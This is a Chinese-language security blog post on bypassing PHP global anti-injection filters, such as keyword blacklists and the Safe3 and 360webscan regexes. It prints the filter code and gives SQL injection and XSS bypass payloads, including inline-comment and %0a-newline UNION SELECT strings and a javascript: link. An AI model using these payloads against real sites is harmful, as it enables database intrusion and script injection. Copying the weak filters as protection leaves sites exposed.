AI 助理
备案控制台
开发者社区 数据库 文章 正文

PHP代码层防护与绕过

2017-10-24 1415
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： 0x01 前言 　　在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御，在一定程度上对网站安全防护还是比较有效的。 　　这里讨论一下关键字过滤不完善及常见正则匹配存在的问题，并收集了网络上常见的PHP全局防护代码进行分析。

0x01 前言

　　在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御，在一定程度上对网站安全防护还是比较有效的。

　　这里讨论一下关键字过滤不完善及常见正则匹配存在的问题，并收集了网络上常见的PHP全局防护代码进行分析。

　　Bypass思路：只考虑关键字被过滤如何进行Bypass的问题，暂不考虑关键字替换绕过的情况。

0x02 关键字过滤

1、使用strpos过滤关键字

PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>

Bypass思路：strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。

　　　　　　id=1 AND 1=1 UNION SELECT 1，2，3  FROM ADMIN

2、使用stripos，进行关键字过滤

　  与strpos相比，stripos() - 查找字符串在另一字符串中第一次出现的位置（不区分大小写）

PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>

Bypass思路：

　　　　当$flag等于0，即关键字在输入参数的第一位，可绕过

　　　　id=</script><a href="javascript:alert(/xss/)">xsstest<a>

关键字过滤类似的方法：

<?php
$blacklist_keywords = 'select,from,1=1,--,union,#';
$blacklist = explode(',',$blacklist_keywords);
print_r($blacklist);
foreach($blacklist as $key=>$value){
    //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
    $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
}
echo $_REQUEST['id'];

?>

0x03 正则匹配

1、边界关键词

\b 表示单词的边界，因此只有独立的 "union" 单词会被匹配

PHP过滤代码如下:

<?php
if  (preg_match("/\b(union|select|from)\b/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>

Bypass思路：

　　通过数据库的特性，在关键字前后添加字符，打扰关键字边界判断

　　id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users

2、匹配模式

　　i 忽略大小写，匹配不考虑大小写，默认不匹配多行

PHP过滤代码如下:

<?php
if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>

 Bypass思路：

　　通过换行 \n可绕过，url编码为%0a

　　id=1 union%23%0aseleCT 1,2,3,4 from users

修复方案：

　　preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])

0x03 PHP通用防护代码

1、safe3 防注入代码

<?php
//Code By Safe3 
ini_set('date.timezone','Asia/Shanghai');
function customError($errno, $errstr, $errfile, $errline)
{
    echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
    die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|select|from|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

    if(is_array($StrFiltValue))
    {
        $StrFiltValue=implode($StrFiltValue);
    }
    if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
        slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
        @header("http/1.1 404 not found"); 
        print "<html><title>404: Not Found</title>";
        //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
        print "<body>Url里含有非法字符串,属于有误操作!...　<a href='/'>您还可以返回首页</a></body></html>";
  ;exit();
    }
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
    StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
    StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
    StopAttack($key,$value,$cookiefilter);
}
function slog($logs)
{
    $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
    $Ts=fopen($toppath,"a+");
    fputs($Ts,$logs."\r\n");
    fclose($Ts);
}
?>

如果正面怼正则，实在想不到绕过的方式。。。。 

 

2、360webscan防御脚本

　　360网站安全：http://webscan.360.cn

　　http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败，

　　无奈，跑到cmseasy下载最新版cms，解压获取 webscan360/360safe目录，分享到网盘，链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq

　　WEBSCAN_VERSION ：0.1.3.2

 

SQL语句测试，成功拦截： 

Bypass思路：

　　关键的两个正则：

　　UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)

　　(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))

　　id=1e0union select!1,user(),3,4 from users

关于我：一个网络安全爱好者，致力于分享原创高质量干货，欢迎关注我的个人微信公众号：Bypass--，浏览更多精彩文章。

 

参考地址:

　　PHP preg_replace() 正则替换所有符合条件的字符串　　http://www.jb51.net/article/46458.htm

　　360webscan防火墙的防御与绕过　　　　　　　　　　 https://tieba.baidu.com/p/3813928365?red_tag=2255813250

　　PHP跨站脚本攻击(XSS)漏洞修复方法（一）　　　　   https://zhangge.net/4965.html

文章标签：
PHP
数据库
安全
关键词：
PHP代码
bypass
目录
相关文章
1842782014377483
|
13天前
|
IDE PHP 开发工具
PHP中的类型提示与严格模式：提高代码可维护性
随着PHP语言的发展，开发者对代码的可读性、可维护性和可靠性有了更高的要求。PHP中的类型提示（Type Hinting）和严格模式（Strict Mode）为开发者提供了更强的类型检查机制，有助于提升代码质量和减少潜在的错误，尤其是在大型项目中。
1842782014377483
34 1
请看我回答~
|
1月前
|
安全 程序员 PHP
PHP中的异常处理：提升代码的健壮性
【10月更文挑战第8天】在编程的世界中，错误和异常是不可避免的。它们就像路上的坑洼，可能会让我们的程序“跌倒”。但是，如果我们能够正确地处理这些异常，就可以让我们的程序更加稳健，就像我们学会了如何在坑洼的路上稳稳地行走一样。本文将介绍PHP中的异常处理机制，以及如何使用它来提升我们的代码质量。
请看我回答~
44 1
游客762btuqu5wybw666
|
2月前
|
设计模式 数据库连接 PHP
PHP中的设计模式：提升代码的可维护性与扩展性在软件开发过程中，设计模式是开发者们经常用到的工具之一。它们提供了经过验证的解决方案，可以帮助我们解决常见的软件设计问题。本文将介绍PHP中常用的设计模式，以及如何利用这些模式来提高代码的可维护性和扩展性。我们将从基础的设计模式入手，逐步深入到更复杂的应用场景。通过实际案例分析，读者可以更好地理解如何在PHP开发中应用这些设计模式，从而写出更加高效、灵活和易于维护的代码。
本文探讨了PHP中常用的设计模式及其在实际项目中的应用。内容涵盖设计模式的基本概念、分类和具体使用场景，重点介绍了单例模式、工厂模式和观察者模式等常见模式。通过具体的代码示例，展示了如何在PHP项目中有效利用设计模式来提升代码的可维护性和扩展性。文章还讨论了设计模式的选择原则和注意事项，帮助开发者在不同情境下做出最佳决策。
游客762btuqu5wybw666
51 5
丰宝宝
|
2月前
|
设计模式 算法 数据库连接
PHP中的设计模式：提高代码的可维护性与扩展性本文旨在探讨PHP中常见的设计模式及其应用，帮助开发者编写出更加灵活、可维护和易于扩展的代码。通过深入浅出的解释和实例演示，我们将了解如何使用设计模式解决实际开发中的问题，并提升代码质量。
在软件开发过程中，设计模式是一套经过验证的解决方案模板，用于处理常见的软件设计问题。PHP作为流行的服务器端脚本语言，也有其特定的设计模式应用。本文将重点介绍几种PHP中常用的设计模式，包括单例模式、工厂模式和策略模式，并通过实际代码示例展示它们的具体用法。同时，我们还将讨论如何在实际项目中合理选择和应用这些设计模式，以提升代码的可维护性和扩展性。
丰宝宝
61 4
杀死一只知更鸟debug
|
2月前
|
存储 Java 数据库连接
php学习笔记-代码基本语法-day01
本文是关于PHP编程语言的基础语法学习笔记，内容包括PHP的介绍、注释风格、数据类型、命名规范、常量和变量的使用，以及变量和常量相关的常用函数。文中详细解释了PHP的基本语法元素和一些易混淆的概念，如传值赋值与传址赋值、可变变量，以及如何检查变量是否已定义或为空。
杀死一只知更鸟debug
42 0
php学习笔记-代码基本语法-day01
ShaFaChuang-36210
|
30天前
|
设计模式 算法 数据库连接
PHP中的设计模式：提高代码的可维护性和扩展性
【10月更文挑战第13天】 本文将探讨PHP中常见的设计模式及其在实际项目中的应用。通过对比传统编程方式，我们将展示设计模式如何有效地提高代码的可维护性和扩展性。无论是单例模式确保类的单一实例，还是观察者模式实现对象间的松耦合，每一种设计模式都为开发者提供了解决特定问题的最佳实践。阅读本文后，读者将能更好地理解和应用这些设计模式，从而提升PHP编程的效率和质量。
ShaFaChuang-36210
36 2
ShaFaChuang-36210
|
1月前
|
设计模式 SQL 安全
PHP中的设计模式：单例模式的深入探索与实践在PHP开发领域，设计模式是解决常见问题的高效方案集合。它们不是具体的代码，而是一种编码和设计经验的总结。单例模式作为设计模式中的一种，确保了一个类仅有一个实例，并提供一个全局访问点。本文将深入探讨单例模式的基本概念、实现方式及其在PHP中的应用。
单例模式在PHP中的应用广泛，尤其在处理数据库连接、日志记录等场景时，能显著提高资源利用率和执行效率。本文从单例模式的定义出发，详细解释了其在PHP中的不同实现方法，并探讨了使用单例模式的优势与注意事项。通过对示例代码的分析，读者将能够理解如何在PHP项目中有效应用单例模式。
ShaFaChuang-36210
39 2
mrq4nk6ni2neg
|
1月前
|
程序员 数据库连接 PHP
PHP中的异常处理：提升代码的健壮性
【9月更文挑战第30天】在编程的世界里，错误和异常是不可避免的。本文将深入探索PHP中异常处理的机制，揭示如何通过有效的异常管理来增强代码的健壮性和可靠性。我们将从基础概念出发，逐步深入到高级应用，最后通过实际代码示例来巩固理论知识。无论你是初学者还是有经验的开发者，这篇文章都将为你提供宝贵的指导和启示。
mrq4nk6ni2neg
45 6
kgmh2cwvierzy
|
2月前
|
设计模式 算法 数据库连接
PHP中的设计模式:提高代码的可维护性与扩展性
设计模式在PHP开发中至关重要，如单例模式确保类仅有一个实例并提供全局访问点，适用于管理数据库连接或日志记录。工厂模式封装对象创建过程，降低系统耦合度；策略模式定义算法系列并使其可互换，便于实现不同算法间的切换。合理选择设计模式需基于需求分析，考虑系统架构，并通过测试驱动开发验证有效性，确保团队协作一致性和代码持续优化。设计模式能显著提升代码质量，解决开发中的设计难题。
kgmh2cwvierzy
33 8
游客5fdji2pvmf8888
|
2月前
|
设计模式 算法 PHP
PHP中的设计模式：提升代码的灵活性与可维护性
在本文中，我们将深入探讨PHP编程语言中的一种重要概念——设计模式。设计模式是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它代表了最佳的实践，被有经验的面向对象的软件开发人员所采用。本文将通过具体的实例，展示如何在PHP项目中应用设计模式，以提高代码的灵活性和可维护性。无论你是PHP初学者还是经验丰富的开发者，都能从中获得有价值的见解。
游客5fdji2pvmf8888
60 3